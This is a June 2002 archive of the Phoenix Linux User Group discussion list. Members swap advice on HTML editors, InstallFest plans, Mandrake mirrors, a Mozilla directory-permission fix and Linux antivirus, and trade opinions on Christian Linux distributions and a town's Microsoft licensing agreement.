shutdown using linuxconf from the level 3 commandline and I saw that the "X-Font sever" FAILED. Is there anyway I can reload KDE (if that is what is required) without reloading all of the OS and all of the applications??? I would like to auto boot to level 5. John Steele From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 17:46:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 10:46:46 -0700 Subject: Linux for Christians Message-ID: <1023644806.3d039486f097c@webmail.freedom2surf.net> Looking for something else on Google I stumbled on to The Linux for Christians site! http://thelinuxlink.net/l4c/ Here's what it says: This is a very new site dedicated to the Christian use of one of my favorite OS's, Linux! What you will see here (provided you keep coming back) is a repository of information pertaining to, how to, and why to, use Linux as a Christian and in a Christian organization. And then there is: http://www.christianlinux.com/ I wonder if the LWN Penguin Gallery has their version of Tux wearing a crusifix! Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:15:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 9 Jun 2002 11:15:40 -0700 Subject: gentoo ... Message-ID: <20020609111540.5a11df0c.snoogans@qwest.net> Was wondering if someone would be willing to burn me a gentoo cd and bring it to the meeting on thursday, will reimburse for cd's :) Gentoo is something i've been reading up on and been wanting to try out for a bit now From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:13:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 11:13:25 -0700 Subject: Linux for Christians In-Reply-To: <1023644806.3d039486f097c@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <200206091113.25378.lists@chevy-lemonade.com> Don't know about the Crusifix, that's Catholic, but the Christianlinux.com site has him with a cross on his chest. On Sunday 09 June 2002 10:46 am, dennisk@sahuaro.f2s.com wrote: > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > crusifix! > > Dennis > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:31:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sun, 9 Jun 2002 11:31:12 -0700 Subject: Linux for Christians In-Reply-To: <1023644806.3d039486f097c@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <200206091131.19740.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 09 June 2002 10:46, dennisk@sahuaro.f2s.com wrote: > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ I am very surprised to find that they are are not using Jesux (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its own BSD-style license, the Christian Software Public License. Check it out. ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9A571pNoctRtUIRQRAsLGAJwPnRgpnbWOsDm+TSTeLB0cCCRcOACePZNT ryBSNPw2eDae+vkQGCgkGbs= =UuD+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:16:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 9 Jun 2002 12:16:49 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091113.25378.lists@chevy-lemonade.com> Message-ID: <007401c20fea$3460acb0$6501a8c0@drghastly> Actually, it's roman in origin, so it's used by a lot of Christian religions. But enough of that discussion, heh. Very interesting site I must say. ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Sunday, June 09, 2002 11:13 AM Subject: Re: Linux for Christians > Don't know about the Crusifix, that's Catholic, but the Christianlinux.com > site has him with a cross on his chest. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:50:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 12:50:59 -0700 Subject: Request For Information: Microsoft Enterprise Agreement (fwd) In-Reply-To: References: Message-ID: <200206091251.03165.plug@the-arcanum.org> --------------Boundary-00=_Z4FGOXFXAB4CHB7WRNW2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I apologize for the last one, not sure what happened. I guess you can't u= se=20 gnumeric to edit a .csv file. but vi works fine. hope it works Am Freitag 07 Juni 2002 04:23 nachmittags schrieb Derek Neighbors: > FWIW here is town of Gilbert's response, this was returned in less than= 5 > minutes. I strongly urge anyone in Gilbert send similar requests and g= et > the council's ears perked. > > -Derek > > ---------- Forwarded message ---------- > Date: Fri, 7 Jun 2002 16:07:39 -0700 > From: George Pettit > To: "'derek@gnue.org'" > Cc: Shawn Woolley > Subject: RE: Request For Information: Microsoft Enterprise Agreement > > Dear Mr. Neighbors: > > I have forwarded your request regarding the Enterprise Agreement to Sha= wn > Woolley our Technology Services Director. If the Agreement is signed, = it > is a public record, and therefore available to you. > > The budget will be heard at a public hearing on June 25, 2002 at 6:30 p= m in > the Council Chambers, 1025 S Gilbert Road as part of the Agenda that > evening > > George Pettit > Manager > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Friday, June 07, 2002 4:02 PM > To: mayor@ci.gilbert.az.us; lesp@ci.gilbert.az.us; > davec@ci.gilbert.az.us; larrym@ci.gilbert.az.us; davep@ci.gilbert.az.us= ; > dons@ci.gilbert.az.us; steveu@ci.gilbert.az.us; georgep@ci.gilbert.az.u= s > Subject: Request For Information: Microsoft Enterprise Agreement > > > As a town of Gilbert citizen, taxpayer and technologist, I would like t= o > gather more information about the technology of Gilbert. As is a supri= se > to no one the convicted monopolist from Redmond, Microsoft, has laid an > edict that all Enterprise customers either sign long term agreements to > renew software licenses or suffer undue penalties. > > I am under the assumption that the current operating system platform of > choice for Gilbert is from Microsoft. I would like to know whether a > provision has been made in the upcoming years fiscal budget to subsidiz= e > the procurement of such an 'Enterprise Agreement'. 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plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:19:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 13:19:28 -0700 Subject: WYSIWYG Editor Message-ID: <200206092020.QAA16975@hostinworld6.com> Could anyone reccomend a good WYSIWYG HTML editor for linux? I really hate having to type out table html by hand. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:56:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 9 Jun 2002 13:56:47 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092020.QAA16975@hostinworld6.com> References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <0206091356470G.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Quanta does the formatting stuff internally and has its own preview function, or you can preview it with a number of other browsers. On Sunday 09 June 2002 13:19, you wrote: > Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > hate having to type out table html by hand. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQPBDysk3ywszI1FEQKcRgCg6oOVOD51dWWkMsRlFgRGUjx/aaoAoNr3 XHVy+7MYFn81ftsgJDz5aXyc =VApO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 21:11:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Sun, 9 Jun 2002 14:11:47 -0700 Subject: new cox broadband discussion newsgroup for unix Message-ID: <001901c20ffa$445d6fd0$0a64a8c0@internal.nutsac.org> cox.internet.discussion.unix took a while, but there it is! Mike Butash Email - mike@butash.net Knowledge is power. Power corrupts. Study hard, be evil. Education is no substitute for intelligence. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 21:27:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 14:27:48 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092020.QAA16975@hostinworld6.com> References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <200206091427.51467.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mozilla has a good one. My favorite is Quanta Plus It's not WYSIWYG but it has a nice table editor. quanta.sourceforge.net Am Sonntag 09 Juni 2002 01:19 nachmittags schrieb Bryce "C.": > Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > hate having to type out table html by hand. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9A8hXQ7yNnsYcupwRAtCmAJ96O517Q90LfDrEByn1iQnN8pbNZwCfSbsV xVXWDKMTmM6HE9EJImMgjt4= =kNBf -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:17:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 15:17:44 -0700 (MST) Subject: The word is out! In-Reply-To: Message-ID: Am 06. Jun, 2002 schwätzte alandd@mindspring.com so: > The demographic you describe is EXACTLY the demographic we want to reach > for this event. An Install Fest is mostly for people who aren't Linux > users but want to try it and maybe become a Linux user. Granted, the > usual meetings are more targeted toward Linux users but the Install Fest > is there to help new users get started. Alan's right. The people who listen to The Computer Corner are a major part of our target audience. We want them to know there's a local support network if they want to try GNU/Linux or *BSD. ciao, der.hans -- # https://www.LuftHans.com/ # Eternal vigilance is the price of liberty. -- Thomas Jefferson From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:21:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 15:21:02 -0700 (MST) Subject: Install Fest Status Report In-Reply-To: Message-ID: Am 31. May, 2002 schwätzte Jeff James so: > I have a Dell Optiplex GX150 which I've added a second drive to. It now > has one 10GB drive (Primary Partition) and one 20GB drive (split in two > using Partition Magic). I have three Distro's I would like to have > loaded onto this unit and would like to use a multi-boot option such as > LILO or GRUB. I have RedHat 7.3, SuSE 8.0, and Mandrake 7.1. The drives > are already DOS partitioned using Partition Magic. Would there be any > problems with bring this machine to the Install-Fest and having someone > set it up properly with all three Distro's ? I don't think I've seen an answer to this. We can certainly help you at the InstallFest. We should be able to help you get all 3 going if you show up early enough. I'm certain we'll suggest you go with ext3, reiser or xfs rather than dos partitions, though :). ciao, der.hans -- # https://www.LuftHans.com/ # "Science is like sex: sometimes something useful comes out, but # that is not the reason we are doing it." -- Richard Feynman From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:41:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Sun, 09 Jun 2002 15:41:20 -0700 Subject: WYSIWYG Editor References: <200206092020.QAA16975@hostinworld6.com> Message-ID: <3D03D990.5020806@earthlink.net> I have tried a lot of wysiwyg editors and I have to say that coding by hand beats it all Greg Bryce C. wrote: >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really >hate having to type out table html by hand. > >Bryce C. >Network Administrator >CoBryce Communications >Bryce @ BryceCo . Net > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 22:02:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 9 Jun 2002 18:02:51 -0400 (EDT) Subject: WYSIWYG Editor In-Reply-To: <3D03D990.5020806@earthlink.net> Message-ID: Mozilla is extremely friendly, particularly the tabs to switch between source, preview, etc. Produces great source as WYSIWIGs go, but I'm still too anal to put it on a public machine before I clean it. If you do any significant volume, I'd have to agree with the opinion that hand coding is going to be most efficient. Once it becomes a natural language it's faster to not use the mouse if you have a powerful, extensible editor. But if (like me) you only do a few pages a month, a WYSIWIG may help. I haven't tried Quanta. On Sun, 9 Jun 2002, Greg Furmanek wrote: > I have tried a lot of wysiwyg editors and I have to say that coding by > hand beats it all > > Greg > > Bryce C. wrote: > > >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > >hate having to type out table html by hand. > > > >Bryce C. > >Network Administrator > >CoBryce Communications > >Bryce @ BryceCo . Net > > > > > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 9 Jun 2002 17:36:17 -0700 (MST) Subject: crypto export from .us Message-ID: moin, moin, here's the advice debian got prior to deciding to finally allow crypto into main. Note that non-free and contrib must remain outside the .us. http://www.debian.org/legal/cryptoinmain ciao, der.hans -- # https://www.LuftHans.com/ # Strangers are friends just waiting to happen! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:51:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 17:51:38 -0700 (PDT) Subject: 50 OpenOffice/Mozilla CDs for InstallFest Message-ID: Alright, I've got 50 CDs burned with OpenOffice 1.0 and Mozilla 1.0, so we better have at least that many people at the InstallFest. ;-) Speaking of which, what kind of turn-outs has there been for previous InstallFests? 10 people? 100? 1000? Should I burn more CDs? :-) ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 00:57:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 17:57:18 -0700 Subject: Mandrake 6 Message-ID: <200206100058.UAA19497@hostinworld6.com> Does anyone know of a mirror that still has Mandrake _6_ on it? Mandrake 6 is the only version that will install on my laptop and my CD's got a scratch the size of the Grand Canyon. I've only found >=7 on the official mirrors but I was wndering if you knew of any others. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net P.S. Please do not try to persuade me to go with another distro. I've tried a couple others that might work well on a 486 but they just didn't on my laptop. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:01:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 18:01:57 -0700 Subject: WYSIWYG Editor In-Reply-To: Message-ID: <200206100102.VAA21006@hostinworld6.com> Thank you all. I usually only do a few pages a month but this summer I'm completely overhalling my website. I've trried Quanta before (I use it for my PHP/HTML) but now I need something that I don't have to for it to render. Something in the way of, GASP, M$ Frontpage. I will not use it though because it's a piece of junk but that's the sort of WYSIWYG I'm talking about. Thank You, Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 09 Jun 2002 18:02:51 -0400, Robert Bushman wrote: > Mozilla is extremely friendly, particularly the > tabs to switch between source, preview, etc. > Produces great source as WYSIWIGs go, but I'm > still too anal to put it on a public machine > before I clean it. > > If you do any significant volume, I'd have to > agree with the opinion that hand coding is going > to be most efficient. Once it becomes a natural > language it's faster to not use the mouse if you > have a powerful, extensible editor. But if (like > me) you only do a few pages a month, a WYSIWIG > may help. > > I haven't tried Quanta. > > On Sun, 9 Jun 2002, Greg Furmanek wrote: > > > I have tried a lot of wysiwyg editors and I have to say that coding by > > hand beats it all > > > > Greg > > > > Bryce C. wrote: > > > > >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really > > >hate having to type out table html by hand. > > > > > >Bryce C. > > >Network Administrator > > >CoBryce Communications > > >Bryce @ BryceCo . Net > > > > > > > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "What can Americans do to stay safe after these attacks?" > "Buckle your seat-belt and quit smoking." > ------------------------------------------------------------------- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:11:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 18:11:20 -0700 (PDT) Subject: /usr/lib/mozilla-1.0.0 with perms of 700 Message-ID: Just in case anyone has encountered the same problem as I just did, the latest RPMs for Mozilla create the /usr/lib/mozilla-1.0.0 directory with permissions of 700, which makes it rather difficult to run mozilla as a regular user on your system. Just chmod 755 /usr/lib/mozilla-1.0.0 and you're good to go. ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:17:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 18:17:38 -0700 (PDT) Subject: Mandrake 6 In-Reply-To: <200206100058.UAA19497@hostinworld6.com> Message-ID: On 9 Jun 2002, Bryce C. wrote: > P.S. Please do not try to persuade me to go with another distro. I've > tried a couple others that might work well on a 486 but they just didn't > on my laptop. Hmm... Buy a new laptop? ;-) From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 01:50:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sun, 9 Jun 2002 18:50:27 -0700 Subject: SonicWall and linux client Message-ID: <008801c21021$326bb580$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0085_01C20FE6.854017A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have been able to get Opera on Suse 7.3 to present itself to SoncWall = as IE 5, but it still won't let me through. The solution proposed by = sonic wall is to assign a Static ip address to my linux box and exepmt = that ip from the anti virus requirement. This is possible to do, but I = may have a hard time selling this idea to my employer. Is there any danger and if so how much, to running a linuxbox with no = anti virus protection on a network that is all win98 or XP workstations? = Many Linux servers, but this would be the first linux workstation. I've never heard of such a thing but is there antivirus software for = linux? Regards, Charlie ------=_NextPart_000_0085_01C20FE6.854017A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have been able to get Opera on Suse = 7.3 to=20 present itself to SoncWall as IE 5, but it still won't let me through. = The=20 solution proposed by sonic wall is to assign a Static ip address to = my=20 linux box and exepmt that ip from the anti virus requirement. This is = possible=20 to do, but I may have a hard time selling this idea to my = employer.
 
Is there any danger and if so how much, = to running=20 a linuxbox with no anti virus protection on a network that is all win98 = or XP=20 workstations? Many Linux servers, but this would be the first linux=20 workstation.
 
I've never heard of such a thing but is = there=20 antivirus software for linux?
 
Regards,
 
 
Charlie
 
 
------=_NextPart_000_0085_01C20FE6.854017A0-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:43:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Sun, 09 Jun 2002 19:43:25 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <3D04124D.8000100@earthlink.net> How about a linux distro specifically for non-christians? Buddists? Muslims? Hindu? btw: why everything on this planet has to be about religion? Isn't this why we have so many wars? Greg dennisk@sahuaro.f2s.com wrote: >Looking for something else on Google I stumbled on to The Linux for Christians >site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my favorite >OS's, Linux! What you will see here (provided you keep coming back) is a >repository of information pertaining to, how to, and why to, use Linux as a >Christian and in a Christian organization. > >And then there is: > >http://www.christianlinux.com/ > >I wonder if the LWN Penguin Gallery has their version of Tux wearing a >crusifix! > >Dennis > >------------------------------------------------- >Everyone should have http://www.freedom2surf.net/ >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:45:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 9 Jun 2002 19:45:53 -0700 Subject: 50 OpenOffice/Mozilla CDs for InstallFest In-Reply-To: References: Message-ID: <0206091945540L.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hopefully that will be more than enough. After all, not all home computer users need OO, but zilla 1.0 should be installed for them if they have the disk space. On Sunday 09 June 2002 17:51, you wrote: > Alright, I've got 50 CDs burned with OpenOffice 1.0 and Mozilla 1.0, so we > better have at least that many people at the InstallFest. ;-) Speaking > of which, what kind of turn-outs has there been for previous InstallFests? > 10 people? 100? 1000? Should I burn more CDs? :-) > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQQS4isk3ywszI1FEQKQVACg5KS/yD1AeJSUxEb5+DM98D4e8SIAoNFr NwyIgOODQP7Hz6FceYwF6Fl+ =6stE -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 02:58:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 09 Jun 2002 19:58:47 -0700 Subject: SonicWall and linux client In-Reply-To: <008801c21021$326bb580$6400a8c0@amd1000> References: <008801c21021$326bb580$6400a8c0@amd1000> Message-ID: <1023677931.3966.0.camel@desktop.capnet.lan> --=-8dYRHb0uE6ih4JkCsLVK Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-09 at 18:50, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall a= s IE 5, but it still won't let me through. The solution proposed by sonic w= all is to assign a Static ip address to my linux box and exepmt that ip fro= m the anti virus requirement. This is possible to do, but I may have a hard= time selling this idea to my employer. >=20 > Is there any danger and if so how much, to running a linuxbox with no ant= i virus protection on a network that is all win98 or XP workstations? Many = Linux servers, but this would be the first linux workstation. >=20 > I've never heard of such a thing but is there antivirus software for linu= x? >=20 > Regards, >=20 >=20 > Charlie >=20 >=20 Sure is, check at Tucows.com for a whole selection. --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-8dYRHb0uE6ih4JkCsLVK Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9BBXm6He1yLs+JHwRAs7iAJ9sFmaLsnKTZpnS0Qn1IxlBwhUZCwCfW1K2 FHZa/zVKkEVAQtoVS9Zx5gM= =wBwZ -----END PGP SIGNATURE----- --=-8dYRHb0uE6ih4JkCsLVK-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:06:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 20:06:08 -0700 Subject: Mandrake 6 In-Reply-To: Message-ID: <200206100306.XAA28986@hostinworld6.com> I don't have the money. I got this one for about $90US on my vacation to Vancouver, Canada. It's only 7 years old. On 09 Jun 2002 18:17:38 -0700, Matt Alexander wrote: > On 9 Jun 2002, Bryce C. wrote: > > > P.S. Please do not try to persuade me to go with another distro. I've > > tried a couple others that might work well on a 486 but they just didn't > > on my laptop. > > Hmm... Buy a new laptop? ;-) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:46:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Sun, 9 Jun 2002 13:46:14 -0700 Subject: PLUG-discuss digest, Vol 1 #2326 - 1 msg In-Reply-To: <200206091905.g59J53226929@PlugList.MyButt.Net> References: <200206091905.g59J53226929@PlugList.MyButt.Net> Message-ID: <200206091346.14667.dan_lund@hotmail.com> This has *got* to be a joke.... Reminiscent of Jesux... :) On Sunday 09 June 2002 12:05 pm, plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 1 > Date: Sun, 9 Jun 2002 10:46:46 -0700 > From: dennisk@sahuaro.f2s.com > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Linux for Christians > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > crusifix! > > Dennis From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:21:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 20:21:21 -0700 Subject: Linux for Christians In-Reply-To: <200206091131.19740.voltage_spike@fastmail.fm> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091131.19740.voltage_spike@fastmail.fm> Message-ID: <1023679281.3d041b314530a@webmail.freedom2surf.net> Quoting Voltage Spike : > -----BEGIN PGP SIGNED MESSAGE----- > I am very surprised to find that they are are not using Jesux > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its own > > BSD-style license, the Christian Software Public License. > > Check it out. ;-) > > - -- > Voltage Spike > ,,, And I bet Satan is NOT installed by default. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 19:23:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 9 Jun 2002 12:23:15 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: References: Message-ID: <200206091223.15701.nathan@the-arcanum.org> --------------Boundary-00=_RUDGSF3QNIVZD7QU6FI7 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have an address list of all the state legislators, districts, emails, a= nd=20 phone numbers. If you're looking for a number, or want to create a large list fast, here= you=20 go. nathan Am Freitag 07 Juni 2002 04:19 nachmittags schrieb Derek Neighbors: > If you want your government to stop using Microsoft Products now is the > time to have your voice heard. It starts with local government. If yo= u > didnt know the State of Arizona budget is in the dumps, because all > governments under them (read county and city) get large sums of money > from the State they are hurting for money. > > It just so happens that this July is when 